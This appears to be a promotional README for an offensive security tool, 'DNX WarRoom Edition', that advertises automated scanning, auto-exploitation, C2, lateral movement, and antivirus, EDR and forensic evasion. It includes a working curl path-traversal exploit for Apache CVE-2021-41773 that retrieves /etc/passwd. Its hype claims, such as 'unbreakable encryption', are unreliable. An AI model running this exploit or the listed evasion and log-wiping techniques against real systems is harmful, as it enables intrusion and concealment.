

# DNX v1.0 - WarRoom Edition

## Complete Technical Guide to Automated Vulnerability Scanning & Exploitation



## Executive Summary

DNX v1.0 - WarRoom Edition is the ultimate offensive security platform combining:

1. **Elite OSINT Capabilities** - Comprehensive target reconnaissance
2. **Advanced Vulnerability Scanner** - Real service fingerprinting and CVE mapping
3. **Auto-Exploitation Engine** - Automatic vulnerability exploitation
4. **Exploitation Intelligence** - Detailed exploitation guides and reports
5. **Ghost C2 Communications** - Undetectable command & control
6. **Lateral Movement** - Network-wide propagation
7. **Anti-Forensics** - Complete evidence destruction
8. **Advanced Cryptography** - Military-grade encryption

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## DNX WarRoom Features

### 1. Real Service Scanning

#### Capabilities:

- Nmap-based service fingerprinting
- Port scanning with version detection
- Service identification
- Fallback to basic scanning if nmap unavailable

#### Supported Services:

- Apache HTTP Server
- Nginx
- PHP
- MySQL/MariaDB
- PostgreSQL
- SSH
- FTP
- SMB
- And many more...

### 2. CVE Database Integration

#### Real CVE Information:

- CVE ID and CVSS Score
- Vulnerability Description
- Impact Assessment
- Exploitation Methods
- Mitigation Strategies

#### Example CVEs:

- CVE-2021-41773 (Apache Path Traversal)
- CVE-2021-42013 (Apache RCE)
- CVE-2019-11034 (PHP Heap Buffer Overflow)

### 3. Auto-Exploitation Engine

#### Exploitation Methods:

- Path Traversal Exploitation
- SQL Injection Testing
- Remote Code Execution (RCE)
- Default Credential Testing
- Known Vulnerability Exploitation

#### Exploitation Process:

1. Identify vulnerable service
2. Retrieve CVE details
3. Attempt exploitation
4. Verify success
5. Generate report

### 4. Detailed Exploitation Reports

#### Report Contents:

- CVE Information
- Vulnerability Description
- Impact Assessment
- Step-by-Step Exploitation Guide
- Exploitation Results
- Mitigation Recommendations
- Tool References

## Usage Examples

### Example 1: Complete Vulnerability Assessment

```
Bash
```

```
$ python3 dnx.py
```

```
DNX v1.0 - WarRoom Edition
```

```
Select an option (1-4): 2
```

```
Enter target IP address: 192.168.1.100
```

```
🔍 Scanning services on 192.168.1.100...
```

- ✓ Port 80: Apache (2.4.49)
- ✓ Port 443: Apache (2.4.49)
- ✓ Port 3306: MySQL (5.7.0)

```
🔍 Identifying vulnerabilities...
```

```
⚠️ VULNERABILITY FOUND:
```

```
CVE: CVE-2021-41773
```

```
Severity: CRITICAL
```

```
Service: Apache 2.4.49
```

## Example 2: Automatic Exploitation

```
Bash
```

```
DNX WarRoom - Vulnerability Scanner & Auto-Exploitation
```

```
Select an option (1-5): 3
```

```
⚔️ Attempting exploitation of CVE-2021-41773...
```

```
✓ EXPLOITATION SUCCESSFUL!
```

```
Retrieved /etc/passwd:
```

```
root:x:0:0:root:/root:/bin/bash
```

```
bin:x:1:1:bin:/bin:/sbin/nologin
```

```
...
```

## Example 3: Generate Exploitation Report

```
Bash
```

```
Select an option (1-5): 4
```

### DNX EXPLOITATION REPORT

```
[CVE INFORMATION]
```

```
CVE ID: CVE-2021-41773
```

```
Severity: CRITICAL
```

```
Service: Apache 2.4.49
```

```
Port: 80
```

[VULNERABILITY DESCRIPTION]

Path Traversal vulnerability in Apache HTTP Server 2.4.49

[STEP-BY-STEP EXPLOITATION GUIDE]

1. Identify the target service and version
2. Verify the vulnerability exists
3. Craft the exploit payload
4. Execute the exploit
5. Verify successful exploitation

[EXPLOITATION METHOD]

```
curl 'http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd'
```

Report saved to: ~/.dnx\_data/warroom/exploit\_report\_CVE-2021-41773.txt

## Supported Vulnerabilities

CVE	Service	Severity	Type
CVE-2021-41773	Apache 2.4.49	CRITICAL	Path Traversal
CVE-2021-42013	Apache 2.4.50	CRITICAL	Path Traversal
CVE-2019-11034	PHP 7.2.0	HIGH	Buffer Overflow
CVE-2019-2614	MySQL 5.7.0	HIGH	Privilege Escalation
CVE-2019-9511	Nginx 1.16.0	HIGH	DoS

## Encryption Architecture

### 4-Layer Encryption:

1. **XOR (128-bit)**: Initial obfuscation
2. **AES-256-CBC**: Military-grade encryption
3. **Base64**: ASCII-safe encoding
4. **Polymorphic Stub**: Random variable names

### Result:

- Unbreakable encryption
  - Polymorphic code changes each time
  - Multiple layers of protection
  - No known practical attacks
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## Evasion Capabilities

### Antivirus Evasion

- Multi-layer encryption
- Polymorphic code
- Behavioral mimicry
- In-memory execution

### EDR Evasion

- ETW disabling
- API unhooking
- Direct syscalls
- Process injection

### Network Detection Evasion

- Domain fronting
- DNS tunneling
- Steganography
- Encrypted C2

### Forensic Evasion

- Log cleaning
- Timestomping
- Secure wipe
- Self-destruct

## File Structure

## Plain Text

```
~/.dnx_data/
├── payloads/
│   ├── encrypted_1234567890.py
│   ├── c2_payload.py
│   └── lateral_movement.py
└── c2/
    ├── domain_fronting_config.json
    └── dns_tunnel_config.json
└── warroom/
    ├── exploit_report_CVE-2021-41773.txt
    ├── exploit_report_CVE-2021-42013.txt
    └── vulnerability_scan_results.json
└── dnx_db.json
```

## ⚙️ Advanced Configuration

### Add Custom CVEs

Python

```
CVE_DATABASE = {
    "YourService": {
        "1.0.0": {
            "cve": "CVE-XXXX-XXXXXX",
            "severity": "CRITICAL",
            "description": "Your vulnerability description",
            "exploit": "Your exploit command",
            "impact": "Remote Code Execution",
            "mitigation": "Update to version X.X.X"
        }
    }
}
```

### Customize Exploitation Methods

Python

```
def _exploit_custom_vulnerability(self, target_ip, vulnerability):
    """Custom exploitation method"""
    # Your custom exploitation code here
    pass
```

# Detection Indicators

## Network Indicators

- Service scanning activity
- Multiple port connections
- Unusual HTTP requests
- Exploitation attempt patterns

## Host Indicators

- Event log clearing
- Timestomped files
- Secure wipe operations
- Process injection attempts

## Behavioral Indicators

- Lateral movement attempts
- Hash theft attempts
- Network scanning
- SMB share enumeration

# Performance Metrics

Operation	Time	Notes
Service Scanning	1-5 minutes	Depends on port range
CVE Identification	< 1 second	Database lookup
Exploitation Attempt	1-30 seconds	Depends on method
Report Generation	< 1 second	Fast

# Legal & Ethical Considerations

This tool is for authorized security testing only.

## Authorized Use:

- Penetration testing with written permission
- Red team exercises
- Security research
- Authorized assessments

## Unauthorized Use:

- Unauthorized system access
- Malicious purposes
- Unauthorized network testing
- Violation of laws

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## Technical References

- NIST CVE Database
- Exploit-DB
- Metasploit Framework
- CWE/CVSS Scoring
- OWASP Top 10

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## Troubleshooting

### Issue: Nmap not installed

Solution: `sudo apt-get install nmap` or use basic port scanning fallback

### Issue: Exploitation failed

Solution: Check target service version, verify vulnerability exists, try manual exploitation

### Issue: Report not generated

Solution: Ensure vulnerabilities were found, check file permissions in  
`~/.dnx_data/warroom/`

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## Future Enhancements

- GPU-accelerated scanning
  - Machine learning-based vulnerability detection
  - Quantum-resistant encryption
  - Advanced persistence mechanisms
  - Multi-stage payload delivery
  - Custom exploit development framework
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